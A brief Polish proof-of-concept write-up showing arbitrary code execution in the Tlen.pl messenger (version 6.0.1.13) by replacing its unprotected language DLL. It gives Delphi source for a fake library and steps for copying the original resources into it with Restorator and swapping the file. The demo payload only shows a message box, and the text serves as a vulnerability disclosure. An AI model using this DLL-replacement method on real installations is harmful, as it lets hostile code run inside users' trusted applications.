Niezabezpieczone biblioteki zasobów na przykładzie Tlena
autor:  astRX
Wykonanie dowolnego kodu w aplikacji przez niezabezpieczoną biblioteke zasobów:
1. Cel:
...\Tlen.pl\languages\polish.dll
2. Dołączany kod: tworzymy dowolną bibliotekę
library fakepolish;
uses
Windows, Messages, SysUtils, Graphics, Controls, Dialogs;
{$R *.res}
begin
MessageBox(0, 'greetings from tlen', 'greetings from tlen', 0);
end.
3. Modyfikacja (Restorator): wrzucamy oryginalną polish.dll oraz naszą fakepolish.dll po czym zasoby z oryginalnej (katalog String) wrzucamy do fakepolish.dll ...

... zamykamy oryginalną i zapisujemy fakepolish.dll
Teraz juz tylko zamiana nazwy naszej fakepolish na polish i podmiana w programie. Prymitywne jak siekierka jaskiniowca lecz cóż, program niezabezpieczony...
Testowano na wersji 6.0.1.13
All rights reserved.